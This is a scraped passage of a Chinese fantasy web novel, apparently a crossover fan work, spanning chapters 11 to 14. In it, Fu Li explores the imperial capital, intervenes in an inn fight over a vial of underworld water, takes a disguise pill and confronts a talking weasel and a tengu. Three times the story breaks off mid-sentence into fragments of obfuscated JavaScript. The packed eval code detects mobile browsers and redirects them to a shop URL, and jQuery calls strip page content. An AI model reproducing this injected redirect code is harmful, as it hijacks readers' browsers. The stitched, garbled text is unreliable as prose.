况且他确实没有吓人的意思,扶黎还怪委屈的。 大概是他的表情实在情真意切,阿年不由自主就选择了相信,虽然还是不高兴地嘟囔了几句,可能是觉得自己太不禁吓了。 阿年岔开话题,试图找回自己的面子:“好了好了先吃饭吧,您念叨了许久的辣炒猪大肠,猪肚汤都有,剩下的猪心、猪肝留着明天吃,猪肝可以爆炒,猪心也煮个汤吧,放点莲子味道肯定好……” 一说到吃的阿年就有点刹不住,刚才那点不开心瞬间忘到脑后,只顾着盘算明天要做什么菜。 对于做饭的人来讲就怕不知道做什么,听到“随便”两个字更是头疼,今天能提前定好明天的菜单感觉心情都敞亮了。 几盘菜端上桌,扶黎端着碗坐下就吃,两个小妖也在对面坐坐好,说是就几盘,但盘其实还挺大的,扶黎估摸着一顿吃不完:“多的留到明天吃吧,别浪费。” 阿年点点头:“那明天就只加一道菜,不然又留到下一顿,天天吃剩菜。” 阿福正埋头苦吃,言闻言连忙发表意见:“剩菜也好吃。” 阿年:……。 阿年当他没说话,紫菜蛋花汤加点虾皮就当过年了的人没资格发表意见。 大晚上吃那么多肉对胃有点负担,睡觉的时候扶黎突然被涨得睡不着,于是爬起来吃了点山楂,但还是到后半夜才勉强闭上眼。 第二天毫不意外地睡了懒觉,日上三竿才迷迷糊糊睡醒,顶着一头乱发去洗漱。 等梳好头发穿上衣服,一看时间已经十二点。 扶黎猛地拉开屋子大门,双手张开面对阳光…… 啊,今天是阴天,没有阳光,迎接他的只有暗沉沉的天空,以及坐在廊下诧异看过来的阿福跟阿年。 扶黎若无其事收回手:“咳,真是美好的一天,给我来点吃的。” 阿福歪着脑袋,不解地看了下有点奇怪的主人,最后乖乖起身去准备吃的。 美美的饱餐一顿,吃了个八分饱吧,绝对不会像昨天晚上一样积食,扶黎放下碗筷舒心地叹了口气:“下午我要出门一趟进城里去,你们有什么想要的东西吗,顺路帮你们带回来。” 阿年仰起头摸了摸下巴:“嗯——这里有什么特产吗?完全不知道要带什么,要不您看着随便带些回来吧,最好是食材。” “咦,真的可以吗?”扶黎再次确认:“那到最后不是都便宜了我,全进我的肚子了。” 阿年一摆手表示:怎么会,大家吃饭都是一起吃,不会全便宜了您。 而且这里食材种类实在太少,他们总是苦恼怎么拿有限的食材做出不一样的菜色,最近都快黔驴技穷了,要是能拿到不一样的食材那就大不同了,赶紧换新菜,再也不用为了新菜色想破脑袋。 带着找新食材回家的任务,扶黎踏上了“乡下人”进城之旅。 不巧的是在山下竟然碰见了昨天那两位,虽然不怕正面相遇,但多一事不如少一事。 扶黎迅速带上兜帽,低着头走过,内心叹气:如果早知道还要在这里执行下个任务,昨天他绝对不会轻易露出真容,以至于现在不得不费心思遮掩。 ------------------------------------- 帝都不愧是这个小世界最繁荣的城市,和扶黎一路上遇见的那些城镇相比,它有更多的人口更宽阔的街道以及更富裕的居民,沿街都是商店,穿着精致优雅的客人在店里走走看看,付钱也非常大方。 也有普通人不会进这些一看就很昂贵的店,就在小摊贩那儿买东西,讲究一个物美价廉,还能讨价还价,至少人人都有两个闲钱,买得起东西。 扶黎一路走马观花,看到感兴趣的街边小食就会顺便买点,边走边吃。 卖菜的小贩在路边也有看到,多亏了今天天气不好,这个时间点了,菜看着还算新鲜没有变得蔫巴巴,扶黎挑挑拣拣买了些莴笋、茼蒿、茭白、莲藕之类的,这些是他爱吃的,还有他不爱吃的秋葵,但是阿福阿年爱吃,就少买点。 大采购一番后扶黎走进路边小巷,左右看了一圈没有人在注意这里,于是立马把东西都塞到自己仿佛百宝箱的口袋里,然后拍拍衣服若无其事从巷子另一头走出去。 街上的人都没有注意到这神奇的一幕,看到人估计也只是看到个提满菜的人进去,看不到对方从另一边出去后已经变成空手。 处理好菜,扶黎感觉心里的大石头起码有一半落了地,就怕自己又像之前那样把买菜给忘了,回去之后只能拍脑袋说“对不起”,多来几次也是怪不好意思的。 既然如此,接下来就能继续放松地逛街,这可不是他忘记了来这里的主要目的,而是一种适当的策略,既然玉梓姬早晚要到帝都搅风搅雨,那他现在就先把帝都整个摸一遍,否则以现在这样没有情报的情况,真是不知如何下手。 总不能见到一个人就上去拿着对方的画像到处问吧,不说这样傻不傻也容易打草惊蛇。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128069|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 秉承着这一原则,扶黎像个“街溜子”一样那从城这头走到城那头,腿都快走细了,因为脚程够快,这么直线走完一遍天也才刚刚擦黑,但还有很多地方他没去过,像是花街那样比较乱的地方,还有教会,扶黎都没有去,实在是见不得那么花红酒绿的糜烂场所,教会则是怕一不小被撞见,他现在的伪装还不够完美。 天快全黑时,路边的商铺也陆陆续续点起了灯,颇有一番现代小吃街的样子。 扶黎玩得有些乐不思蜀,甚至都不想回去吃饭了,想着从这里不去还得花上一段时间,出来前也已经和阿福阿年说过可能会晚归,让他们不要等,于是便安下心来准备在这儿找家店解决晚饭。 虽然这里是帝都,教会也张开了守护结界,但整个帝都都弥漫着一股躁动的气息,街上随时都能看到非人的家伙,区别只在于它们伤不伤人,所以并不如想象中那么平静。 扶黎对此目不斜视,假装自己是看不见的普通人,除此之外他还发现这里似乎不管怎样打扮都很正常,路上甚至有人戴着面具大摇大摆。 扶黎顿时计上心头,逡巡一番后在路面的摊子上买了个银色狐面带上,面具只有半张,能遮住上半张脸,下半张得留着吃饭。 而等他进了挑中的店准备点菜后,不由更感谢自己方才的这一决定,因为就在不远处的餐桌上正坐着一桌人,其中一个就是昨天在山上遇见的男孩儿。 扶黎心虚得地下意识扶了扶自己的面具,确认它还戴得好好的,没有忽然掉落的风险,这才放下心来。 想必对方也不会对一个客人多加在意,他现在只要像个普通客人那样正常点餐,应该是非常安全的。 老板娘使唤自己儿子小文吾做服务员,高大的青年在店内忙得团团转,见有客人进店连忙过来招待。 扶黎对站在桌边的青年礼貌地笑了笑,边伸手去接菜单,触碰的那一瞬间他似乎有种奇怪的感觉,鼻尖下意识动了动,嗅闻空气中弥漫的气息,面上依旧不动声色,假模假样地认真看着菜单:“来一碗牛肉汤,一份烤五花,还有一个炒青菜,再来一份饭后水果,啊,水果等最后再上,谢谢。” 小文吾迟疑地点点头,收回菜单后没按捺住还是问了句:“您确定要点这么多吗,这里的饭菜分量要比其它店多,可能会吃不下。” 扶黎:“放心吧,我看过别的客人桌上的碗大小了,这么多完全没问题。” 虽然确实比一般的店份量多,但比起阿福阿年用的盘子大小还是差了一点,扶黎自信这么多自己最多吃九分饱,剩下的一分是为了不吃太撑。 小文吾控制的震惊的表情看了扶黎一眼,虽然对方带了面具,但依稀能看出秀美的轮廓,但又那么能吃,怎么看都跟信乃那小子有点像,心里忍不住憋了一句:又一个大胃王。 在被凶狠的老妈看出自己吐槽客人的行为之前,他迅速清空杂念,转身回去给厨师报上菜名。 走过的那一瞬,扶黎又闻到了那股气息,这一次气息俨然浓郁了许多,至少扶黎嗅出了对方的种族。 他露出意味深长的表情——一只食妖鬼,竟然像个普通人一样酒屋里勤勤恳恳工作,帝都教会御下,看来比想象中更加的海纳百川。 12. 第 12 章 辨认出对方不是完全的人类后,就像是有个开关被打开了一样,扶黎很快意识到这家店不是只有一个非人类。 准确来说,那张他目前并不想靠近的桌子上正坐着好几个非人类。 如此高的命中率,如果这个世界是本书或者漫画的话,扶黎觉得自己可能不小心接触到了传说中的主角团。 这是个机会,只要跟紧了他们迟早会遇到任务目标,但也很容易被他们发现自己的身份,对方毕竟有主角光环。 但自己又不是他们的敌人,并没有过分小心的必要,就算被发现了大不了耍耍赖赖过去,反正也没有证据证明自己就是那天那个半路截胡的家伙——而且严格来说,他也算是帮了对方一个大忙呢! 成功说服自己后,扶黎不由自主坐坐正,然后光明正大盯着他们了起来。 你还别说,一桌子帅哥美男看着就是养眼,猛地瞧见感觉那一块儿都在闪闪发光,很难说有些客人不是被他们的美色给吸引了进来。 只可惜这些美人大多只可远观,不可近看,都是带刺的玫瑰浑身点满攻击属性。 如果要用具体的语言来描述他们和普通人的不同之处,那么就像是身上披着一件缥缈的薄纱,那是他们自身散发出的气韵笼罩在身体四周,根据个体不同颜色也不尽相同。 但普通人类并不能看见气韵,只是在无形中会被震慑到。 扶黎欣然接受了自己被“包围”的现实,然后像个勇士般优雅又快速地解决了晚餐,并且不需要打包。 吃完后他摸着自己有点胀的肚子,深感计划赶不上变化,现在他是一步都不想多走,看来只能夜不归宿在外面住一晚了。 扶黎对这边还不是特别熟悉,老驴过后决定向店员求助。 热情的小文吾一听客人的问题,立刻给介绍起来:“城里的旅店不少,但我看您应该不想住那种环境不好的,所以就不介绍了,其它的像是松田屋、松涛馆都很不错,离这里很近,价格也合适,如果您不介意花销的话还可以去半月馆,那里价格虽然高了点,但是服务也很好住的更舒服。” 扶黎不差钱,既然有更好的选择就不会选低一档的,出门在外嘛,对自己好一点。 向店员道了谢结好账,扶黎走出店准备去探一下今晚要住的地方,店员担心他晚上找不到,还追出来又给他指了下大体方向。 扶黎带着感谢的表情,内心其实非常微妙,这么有礼貌又乐于助人的风鬼,让他怀疑自己看错了对方的真身,其实是他的眼睛坏掉了吧………… 半月馆确实离得不远,走路也不过十分钟的路程,价格也是真的不低。 不过这点钱对他来说九牛一毛,扶黎付了一间房的钱,先住一晚再说。 “客人,请往这边走。” 旅店的服务人员走在前方为他带路,走廊点着支支烛火投下暖黄的暗色光亮,木质房屋似乎总有种古老的缱绻感,扶黎慢悠悠走在弯弯曲曲的过道里,年代久远的木地板随着每一步的落下发出细微的“吱呀”声,虽然已经很注意维护了,但木质地板年代久了还是不能避免这样的命运。 不知道绕过了几个弯,带路的服务员终于在一间房前停下,她推开门,微微弯腰恭敬道:“这就是客人您的房间了,里面有热水和简单的换洗衣物,房间里的东西都可以随意取用,如果您还有什么需要的,按下床边的按铃,我们会派人过来询问您的需求。” 说完这些,服务员便先行离开,不打扰客人的私人空间。 扶黎拉上门将灯先打了开来,虽然来的路上都是点在玻璃灯罩里的烛火,只是那显然为了渲染旅馆气氛所做的装饰性照明,这个世界的科技发展暂时还没有到达现世的程度,但也已经经过了第二次工业革命,电并不是什么稀奇的东西。 不过能这么奢侈的在旅馆内使用,显然只有在帝都才能见到。 脱了外套走到床边,扶黎顺势向后一倒,柔软的床铺包容地接纳倒下的人类,良好的弹性让他微微向上颠了颠。 扶黎喟叹一声,内心的懒惰让他很不想爬起来,只想就这么钻到被子里好好睡一觉,轻微洁癖又催促着他爬起来。 唉声叹气地走进洗浴间,扶黎眼睛微微睁大一点:这是什么?!在房间里弄了小型温泉吗? 出于防水的需求,洗浴间的地面全部由不规则形状的石块铺成,正中央一个凹陷进去的池子,边角被做成圆润的弧度,池中汩汩热水冒出,氤氲水汽缭绕间散发出阵阵暖意。 见此情形,扶黎精神稍微振奋了下,感觉钱花得好像值得了。 也难怪这间旅馆价格那么贵,为了保证时时刻刻都有热水都要花钱,比起现世便捷的科技水平,这里显然只能用比较笨的方式,时时刻刻烧着,消耗的人力物力显而易见。 秉承着不浪费钱的想法,扶黎脱掉衣服泡进池子准备泡个澡,热水浸没身体带来一股暖意,全身的毛孔也像是被打开了一样,这时候如果再来一小壶酒可能会更衬景些,可惜这里没酒本人也不爱喝酒,只能倒杯果汁凑活凑活,应个景。 大概是睡前好好泡了个澡,这一觉扶黎睡得无比香甜,就连做梦都是自己睡在柔软的云朵上,身边到处都是软乎乎的抱枕,以各种姿势睡得香喷喷。 就在他以为自己会一觉睡到大天亮,然后在第二天早晨美美醒来时,凌晨时分隔壁房间忽然一阵奇怪异动,似乎有谁在压着嗓音说话,即使音量已经压得很低依旧能听出其中的凶狠,接着便是椅子被拖动的声音。 虽然声音很小但扶黎还是被吵醒了,他的睡眠其实很好,平时就算外面打雷打到天破了也不会醒过来,但特殊情况下就算是是一丝不对劲都会迅速清醒。 现在好像就遇到了那个特殊情况,危险预警令困倦一扫而空,扶黎头脑清明地一跃而起,落地时轻巧地仿佛猫一样毫无声息。 他悄悄靠近隔壁房间的那一侧墙壁,将耳朵贴在墙上全神贯注听对面的动静。 “哐当”又是什么东西被扫到地上的声音,男人愤怒的声音紧接着响起:“死秃驴!赶紧把东西交给我,不然有你好受的!” “有本事自己来抢,抢得到就是你的,抢不到就等着被教会发现吧,这里可是帝都。”对面的人被威胁了却丝毫不怯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128070|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直直就给呛了回去。 不过他说得也对,帝都里不管什么都比别的地方更上一筹,防御安保力量更是拉到满点,每隔一段时间卫队都会骑着马在街上巡视,晚上还会添加巡视班次,一旦发生流血事件就能迅速驰援。 这番话将来人给唬住了,房间里安静了一会儿,隔着墙壁都能感受到紧绷的氛围。 对方斟酌片刻大概是觉得闹出动静跟拿回东西相比,还是后者更重要一些,哪怕后面很可能被追杀但还有逃出去的可能性。 咬咬牙,他迅速举刀向对面砍去,锋利的刀刃与禅杖相接发出清脆的撞击声,和尚的力气还挺大两人相持不下,他只能抽刀向下劈砍,禅杖到底不如刀灵活,和尚只能迅速向后跃出,躲过了劈过来的这一刀。 扶黎听到桌椅被劈坏的声音,“嘶”了一声,这旅馆也是够倒霉的,再让他们打下去也不知道房间还能不能保住。 听动静他们越打越有向外的趋势,旅馆里还有其他客人,刀剑无演一不小就会造成伤亡,旅馆也会遭受房屋破损的无妄之灾。 扶黎当机立断,摸过床上的面具戴好就冲了出去。 旅馆已经有还没睡着的夜猫子听见声音打开了门,正在门前东张西望,试图找到声音的来源。 扶黎一脚踹开房门,房间里正在打生打死的两人被突如其来的变故打断,一齐看向门口,扶黎也不管谁是好谁是坏的,一股脑将人摄出房间扔出旅馆。 落到街道上的两人只觉眼前一晃,忽然改变的位置让两人瞬间警惕起来,他们暂时放弃争斗举着武器在原地转了一圈,眼神四处搜寻,试图找出造成当前这个局面的罪魁祸首。 还未发现什么,不远处忽然传来马蹄“哒哒”,沉重又肃然的马蹄踏地声预示着即将到来的麻烦。 一人脸色骤变已有退意,另一个却是喜上眉梢,是敌是友一看便知。 扶黎站在屋顶,身形隐在黑暗之中,静静观察着眼前的这一幕。 被叫秃驴的和尚欣喜地转头向身后招手,边招手边大声喊道:“这里这里,快过来帮忙!” 他光顾着呼叫援军,却不提防身后人早已转身逃跑,那一瞬间速度快的仿佛脚底抹油,迅速消失在夜色中。 于是等现八带着自己的队员循声赶过来时,看见的就只有一个在街道上手舞足蹈,仿佛发了疯的老和尚。 犬饲现八勒马停住,高大骏马扬起前蹄口中发出嘶鸣,月色之下显得分外高大。 “你是……之前遇到的那个法师,叫点大?”现八骑在马上居高临下看过去,一看顿时觉得对方有几分眼熟,使劲在脑海里扒拉几下倒是想了起来,问道:“你一个人在这儿干嘛呢?” “怎么是一个人,不还有一个跟我抢东西的……哎,人呢?”和尚一转头才发现身后人早没了,怪不得刚才这群人过来时看自己的眼神那么奇怪,合着觉得他发神经呢。 和尚连忙解释道:“刚才真的还有别人在,他半夜潜进我住的旅馆试图袭击我,结果被我发现了,刚刚还打着呢。” 谁知道这一转眼就给溜没影儿了,逃命也是够快。 13. 第 13 章 犬饲现八当然没有怀疑对方的意思,他下了马俯身在地面上查看起来。 地面上有些不自然的划痕,像是有人腿部发力后用力蹬地留下的,划痕极深对方似乎穿了特别的鞋,划痕周围还有残留的砖石粉末,最近又是刮风又是下雨,粉末既然还在就说明是不久前留下来的。 犬饲现八站起身,一手支了支帽檐看向面前的旅馆,疑惑地问道:“不是说在旅馆被袭击吗,你们是一路打出来的?旅馆里这么平静?” 说到这和尚愣了愣,他一拍光秃秃的脑袋,恍然大悟的样子像是刚刚想起来这茬:“对对对说起来奇怪,当时我们正打着呢,不知道怎么回事儿一眨眼就到了旅店外面,忽然换个位置我架都忘记打了,以为又出什么妖蛾子,原地戒备地等了好一会儿,结果什么异常都没有,但没有问题才是最大的问题啊,那绝对是有人在暗中插手,而且不知目的何在。” 犬饲现八从中也嗅到了不同寻常的味道,但现在还不能完全确定对方是坏的一方,他想了想猜测到:“或许对方是为了救人呢,要是真闹大了整个旅馆的人都要受牵连,既然能悄无声息将你们弄出来,暗暗下手也不是难事,但现在什么都没发生说明对方很大可能并没有恶意。” 这番话也有些道理,点大法师握着禅杖原地转圈走了几步,情绪渐渐安定下后,又想起来一件事:“对了,你和四兽神家应该很熟,可以帮我约一下吗,我有东西要交给他们。” 犬饲现八没有一口答应,只问:“什么东西?” “就是今晚让我被人袭击的东西。”点大法师一副神神秘秘的样子,压低声音道:“具体是什么我不好多说,或者说是我也不太清楚,本来是打算自己先拿着研究研究,但看现在刚到帝都就被袭击的情况,这东西应该不一般,放在我身上已经不安全了。” 点大法师有自知之名,他虽能除妖却终究是个普通人,若有人真有心对付他不过是易如反掌。 犬饲现八:“……你这是想把危险转嫁到四兽神家头上啊。” 点大法师听着不乐意:“什么话啊,我是对他们寄予厚望,再说谁会想不开去对上四位兽神,一个就够难对付了。” “行,明天我替你引荐。”犬饲现八思考片刻后答应了他的请求,到时候四兽神或者说里见能不能答应就是他们之间的事了。 “接下来你还住这儿吗?”现八有些担心点大法师留在这里后半夜还会遭遇袭击,尤其是对方功亏一篑已经被发现,说不定会冒险再来一次。 点大法师苦恼地摸了摸脑袋:“唉,旅馆是不能待了,可惜了我交的旅馆费,本来是想难得享受一次,这下彻底泡汤钱也不能退,还得大半夜找新旅馆。” “既然如此不如去我那儿先住一夜。”现八不想明天过来时看到的是点大法师的尸体,便提议道:“家里只有管家和我,房间很多不差你一个人。” 点大法师想了想就同意了犬饲现八的提议,不管住在哪个旅馆,都不能完全避免被袭击的可能,还不如找个有帮手的地方,雷鬼……嗯,应该挺厉害的。 深夜宅子里依旧留着一盏灯,现八进门脱掉大衣扔到沙发上,点大法师跟在后面,一进门就便好奇地左右看了看,他还算矜持只瞄了几眼就克制地控制住了自己眼睛不到处乱瞟。 “左侧的几个房间都没有人住,你随便挑一间吧,里面都有被褥可以随意使用。 和尚回过神来,不好意思地连连点头:“哦,好好好,谢谢啊。” 正说着,右侧一扇房门忽然被打开,睡眼惺忪的老管家披着外套从房内走出,看见客厅的人时老管家立刻清醒了几分,不确定道:“您回来了,还带客人了吗,我去沏杯茶吧?” 说着就要去厨房做准备。 现八伸手拦住,让他回房继续休息:“都这么晚了牧田你还是回去睡吧,有需要我们自己来,这么忙活一通回头又要说失眠了。” 牧田还待说什么,就被现八强硬地推回屋然后迅速关上门。 此时已是深夜现八没有再和点大法师继续聊下去,各自回房后就抓紧时间睡下了,毕竟明天还得早起。 ……………… 一个稍显“惊心动魄”的夜晚过去,扶黎后半夜依旧睡了个好觉,吃完旅店提供的免费早餐才去前台退房。 早晨的帝都街上,人还不是很多,路边的商铺陆陆续续打开店门,开始一天的营业。 扶黎走走逛逛,下半张脸戴着黑色口罩,狐狸面具在白天还是太过显眼呢。 正看着忽然有个熟悉的身影进入了眼角余光,要不说万事都要讲点运气呢,他看到的正是昨天见那个半夜被袭击的倒霉和尚,至于另一个人嘛…… 扶黎摸了摸下巴,难得兴起一丝兴趣,他不着痕迹地往那边走近些,试图听清楚他们在说什么。 但距离实在太远,对方所在的店门前只有一张供客人落座休息的桌椅,要是靠得太近难免引起怀疑,即便如此却并不影响扶黎看清对方的样貌。 男人面色冷淡,双腿交叉靠坐在椅背上,一手搭膝一手端着茶杯轻抿茶水,淡金色半长发自颈肩散落,相貌优雅而俊美,淡金的眼瞳仿佛璀璨的宝石,只是随意坐着便像是一幅画一般。。 又是一位大美人,扶黎微薄的颜控属性差点被激活,深感这个世界的美人太多,随便在街上一走都能碰见几个。 坐在那里正是四兽神家之一,犬神的附身者里见莉芳,也是最受教会倚重的一位,平时都在四兽神家的宅邸或是教会内部难得能在外面遇见。 昨夜的事情过后,现八一大早便找上信乃,通过信乃又联系上了事务繁忙难得能碰上的里见莉芳。 因为接受了现八的牛肉贿赂,信乃非常负责任地将事情转告了里见莉芳。 身为伏姬疯狂粉丝的点大法师是个麻烦人物,莉芳原本并不想去见这一面,但事有轻重缓急,深思熟虑后莉芳还是答应了下来。 趁着早上去教会前还有些时间,莉芳和信乃一起来了古那屋,一到古方信乃就跟出来放风似的,瞬间跑没了影,只留下莉芳一个人面对让人头疼的点大法师,幸好点大法师对自己不受待见这一点有自知之明,硬是压下身为粉丝的激动之情,一本正经汇报起了这次的事件。 随着点大法师的叙述,莉芳放下茶杯,眉间也不由自主蹙了起来,直到对方拿出一个小小的玻璃瓶,瓶中只装了小半瓶透明液体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128071|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,微微晃动间却折射出神秘的幽蓝色,让人目眩神迷。 这一刻里见莉芳的冰山脸竟浮现出惊讶的神色,虽然只是一瞬,也足够让人瞧得清清楚楚。 而在不远处假作观赏风景的扶黎也收起懒散的作态,锐利的目光扫过玻璃瓶又迅速转开。 黄泉之水,没想到这么快就在这个世界碰见了,比想象中来得容易,看瓶子里剩下的份量已经有一部分被用掉了。 扶黎无意识点了点唇,脑海中思考着——不知道这东西被用到了谁身上,还有没有救回来的机会。 接下任务后自己完全没想起这回事,鬼灯也没提起过,但以对方那样严谨的性格,应该早就派人对此研究了对策,当务之急是再回一趟地狱。 在小世界就是这一点不方便,互相之间没办法联系,一有点事儿只能来回跑。 扶黎想了想,掏出一只纸鹤附灵,蓝色灵光闪过纸鹤抖抖翅膀慢慢升空,仿佛在寻找方向滞空片刻后才猛然加速,快到只在空中留下一道虚影。 他现在实在是没办法走开,只能拜托阿福和阿年帮他跑一趟了,幸好地狱入口离他们的住处并不远,应该能很快赶回来。 而扶黎自己得找个办法混入古那屋那群人当中,因为这张脸已经被看过的缘故,他现在倒是开始后悔当初随意暴露面容了,早知道蒙个脸,也不会出现这种不得不戴面具的情况。 但想要跟他们彻底混熟就不能一直戴着面具,这光是理由就不好编,如果随便编一个但却不慎露馅又被发现,到时别说融入进去,可能随时都要被怀疑。 扶黎只能让阿福他们去地狱的时候顺便帮他跟鬼灯要点易容的药,最好是那种微调面部的,易容后和原来有点像但又不会觉得是一个人,这样他自己照镜子也不会感到奇怪别扭。 不过之后的这一切都要等阿福阿年回来后再说。、 这一等就是大半天,一个人在人生地不熟的地方实在是太无聊,扶黎在路边咖啡店坐了一上午,下午正考虑要不要换个地方坐,放出去的纸鹤终于飞了回来,并且带回了好消息。 扶黎抬手找店员结账,随后带着纸鹤一路赶到城外,在城外一座亭子里和阿年接上了头。 一进亭子扶黎便东张四望,脑袋左右转了好几圈才问:“阿福呢?没跟着一起来吗?” 阿年叹气:“阿福胆子小不敢到帝都附近,说是害怕这里的教会,他最近沉迷看小说,小说里十个教会九个是反派,他又只会‘窝里横’,我干脆让他别跟着出来。” 扶黎眨眨眼愣住了,时间一久他差点忘记阿福的本性,当初那个每次出门都要做半天心理建设的小鬼如今已然脱胎换骨,对内家务万能、炒菜小能手,对外小嘴嘚吧嘚吧能说个不行,在外人眼里可不是个光灿烂小妖怪,但现在看来阿福胆小的性格依旧残存了一点点。 “行吧。”扶黎表示明白了,对阿年伸伸手:“我要的东西拿到了吧。” 阿年拍拍身上的小挎包,认真点头:“拿到了,好几瓶药,蓝色瓶子里装的解毒药,紫色瓶子是易容药,一颗可以管一周,鬼灯大人嘱咐说在快失效的时候立刻补吃一颗,效果就会继续续上,这一瓶可以坚持很久。” 14. 第 14 章 阿年将小挎包交给扶黎,然后换来了一大包食材,虽然是昨天买的但因为保存在空间里所以依旧显得非常水灵。 阿年一手拎着一大包,瘦小的身体看起来快要不堪重负,看见里面的一大包肉,阿年两眼亮晶晶:“这些都是给我们的吗?里面好多肉啊,还有牛排,看起来都是上好品质。” 扶黎笑了笑,摸摸他的脑袋:“当然是给你们的,我可能最近几天都回不去了,正好碰上任务目标得多留一阵子,你们两个人在家不要亏待自己,多弄点好吃的,也可以出去玩一玩,不要总是闷在家里。” 阿年点头啊点头,乖乖应下,表示自己一定会好吃好喝好玩的。 短暂的会面很快结束,扶黎站在亭中看着阿年小小的身影消失在视野里,这才打开挎包,从紫色瓶子里倒出一颗圆咕隆咚的药丸,先凑到鼻子前闻了闻,没啥味道感觉就像是面粉搓的加了点色素,再怎么说如果加了药材的话都会有些奇怪的味道吧。 秉承着对鬼灯的信任扶黎试吃了一个,结果药丸太大差点噎死他,拍拍胸顺了口气,扶黎掏出镜子准备瞧瞧自己的脸有什么变化。 仔细那么一瞅,药效还是不错的,虽然药丸搓得不太行,口感方面也只能说差强人意,但脸部该变化的地方都有细微的改变,整个人维持着和之前有几分相似但又不完全一样的面容,至少不会让见过他的觉得是一个人。 满意地点点头,扶黎“啪”一声合上镜子。 外貌已经完美无缺,但怎么跟主角团搭上关系却依旧没有解决。 如果现在能从天而降一个机会,最好是那种他们正急着找的东西,“哗”一下落到他跟前,那他能立刻扛着飞奔而走。 想着想着,扶黎被自己给逗笑了——什么天上掉下来,一天天净想美事,还不如天上下金子来的靠谱。 不过有句话说得好,运气来了挡都挡不住。 扶黎出了亭子就开始慢悠悠回城,因为回去了也没事可做,所以一路上他走得很慢,半个小时了还在林间小路看风景。 这里距离城门尚有一段距离,再加上小路偏僻,行人稀少到半天都碰不见一个。 他正觉得清净,后方便传来一阵“悉悉索索”的声音,像是有什么小动物在灌木丛里钻来钻去。 扶黎一下站住了,总觉得这个场景似曾相识,好像前几天才刚发生过。 于是他缓缓转过身,盯着动来动去的灌木看了起来,等了好一会儿,终于有只黄色皮毛的小东西冒出头,一钻出来就对上扶黎的视线似乎吓到了它,它呆呆站在原地,忽然爆出一句粗口。 扶黎顿时眯起眼睛,脚下微动想凑近一点看看这究竟是个什么鬼东西,还会骂人的。 只是刚往前迈了两步,对面便发出惊恐的尖锐爆鸣,声势之大仿佛要将这片林子给掀了,扶黎脑袋嗡嗡直响,犹如受到精神攻击。 “够了,给我闭嘴!”实在忍无可忍,扶黎暴怒出声。 对方似乎被吓住了尖叫声戛然而止,扶黎趁此机会大步上前,在对方反应过来之前掐住它后颈提溜起来,对上一双呆滞的豆豆眼后,扶黎嫌弃地手伸远——原来是只黄鼠狼,得警惕它一会儿放臭屁。 扶黎的表情实在生动,黄鼠狼绀大动肝火,为自己被当做普通的随便放屁的黄鼠狼而大感屈辱,它张牙舞爪:“放开我,知不知道本大爷是谁?我可不是一般的黄鼠狼!” 扶黎老神在在:“会说话的黄鼠狼是挺不一般的,说说吧,你除了放臭屁之外还有什么一般黄鼠狼不会的技能。” 绀:“…………” 虽然对方的意思就写在脸上,但说出来还是很伤人,更悲伤的是被说中了——除了会讲人话,比普通黄鼠狼更聪明外,他也确实没有什么大不了的本事。 绀一时恼羞成怒,口不择言:“你等着,马上我的同伴就会找过来了,我劝你赶紧放了我否则没有好果子吃!” 黄鼠狼声音又尖又细,高声说气话来刺人耳膜,扶黎不得不伸着胳膊将它又提远了些,敷衍地点点头:“是是是,让我没有好果子吃,那位厉害的同伴现在在哪里呢,怎么还不出来给我点好看?” 扶黎的不以为意显然让绀的怒意达到顶峰,它再次挣扎起来,四条腿在空中不断踢蹬,只可惜手短脚短的它无法翻身咬到捏着自己后颈的手,一切都是徒劳。 绀:“该死的天狗赶紧出来,我要是出事了你也讨不了好!要不是你偷跑出来我怎么会因为出来找你而遇上这样的事!” 话音刚刚落下,一道敏捷的白色身影便从林间闪出,直冲扶黎的方向而来,锋利的爪子像开了刃的刀锋,仿佛要割裂眼前的一切。 扶黎早有预料般迅速转身,腰间匕首出鞘,瞬间架住近在咫尺的利爪,对方带了坚固的护腕与刀刃相击发出“当啷”一声脆响。 扶黎轻而易举的应对让对面微微一愣,下一秒迅速拉开距离,站在距离扶黎几步远的地方一脸警惕地看过来。 扶黎还没来得及开口“问候”对方一句,还捏在手里的黄鼠狼先骂骂咧咧起来:“该死的天狗你是不是有病,没看见我还在他手上吗,刚才差点伤到我,你想让我死吗?!” 被叫做天狗的男人长相还不赖,标准的白毛长发美男,但不知为何看起来总觉得有种说不出的违和感,眼神也透出一股混浊的肮脏感,简直是浪费了这上好的相貌。 这会儿那天狗听见绀的叫喊,咧咧嘴露出一个不怀好意的笑:“这不是没伤到吗,我也是救人心切才会这样,你可不能怪我!” 绀:“啊!当初就不该把这身体借给你!” 